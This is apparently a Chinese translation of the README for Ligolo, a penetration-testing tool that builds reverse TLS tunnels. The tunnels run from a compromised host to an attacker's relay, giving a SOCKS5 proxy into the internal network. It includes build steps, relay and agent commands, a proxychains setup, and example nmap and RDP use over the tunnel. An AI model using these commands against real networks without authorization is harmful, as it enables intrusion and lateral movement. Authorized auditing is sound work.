
Ligolo 是一款简单且轻量的工具,用于通过反向连接安全地建立 SOCKS5 或 TCP 隧道(使用椭圆曲线 TLS 证书)。
它类似于 Meterpreter 配合 Autoroute + Socks4a,但更稳定、更快速。
你在外部审计期间攻陷了一台 Windows / Linux / Mac 服务器。该服务器位于局域网内部,而你需要与该网络上的其他机器建立连接。
Ligolo 可以设置隧道以访问内部服务器的资源。
使用 Proxychains 中转 RDP 连接(WAN)。

以下是两台 100mb/s 主机(ligolo / localrelay)之间的速度测试截图。性能可能因系统和网络配置而异。

确保 Go 已安装并能正常工作。
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
make certs TLS_HOST=example.com
注意:你也可以使用自己的证书,只需在调用 build 时使用 TLS_CERT make 选项。例如:make build-all TLS_CERT=certs/mycert.pem。
make build-all
make build
Ligolo 由两个模块组成:
Localrelay 应在控制服务器(攻击者服务器)上运行。
Ligolo 是在目标计算机上运行的程序。
对于 localrelay,你可以保留默认选项。它将在所有接口上监听端口 5555,并等待来自 ligolo 的连接(-relayserver 参数)。
对于 ligolo,你必须使用 -relayserver ip:port 参数指定中继服务器(或你的攻击服务器)的 IP 地址。
你可以使用 -h 选项查看帮助。
一旦 Ligolo 和 LocalRelay 之间建立连接,中继服务器上就会在 TCP 端口 1080 上设置一个 SOCKS5 代理(你可以使用 -localserver 选项更改 TCP 地址/端口)。
之后,你只需使用你喜欢的工具(例如 Proxychains)即可探索客户端的 LAN 网络。
在你的攻击服务器上:
./bin/localrelay_linux_amd64
在被攻陷的主机上:
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
连接建立后,在 ProxyChains 配置文件(攻击服务器上)中设置以下参数:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
开始使用:
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123
Localrelay 选项:
Usage of localrelay:
-certfile string
TLS 服务器证书(默认 "certs/server.crt")
-keyfile string
TLS 服务器密钥(默认 "certs/server.key")
-localserver string
本地服务器地址(你的 proxychains 参数)(默认 "127.0.0.1:1080")
-relayserver string
中继服务器监听地址(回连地址)(默认 "0.0.0.0:5555")
Ligolo 选项:
Usage of ligolo:
-autorestart
发生异常时自动重连
-relayserver string
中继服务器(回连地址)(默认 "127.0.0.1:5555")
-skipverify
跳过 TLS 证书绑定验证
-targetserver string
目标服务器(如 RDP 客户端、SSH 服务器等)——未指定时,Ligolo 启动 SOCKS5 代理服务器
GNU 通用公共许可证 v3.0(详见 LICENSING)。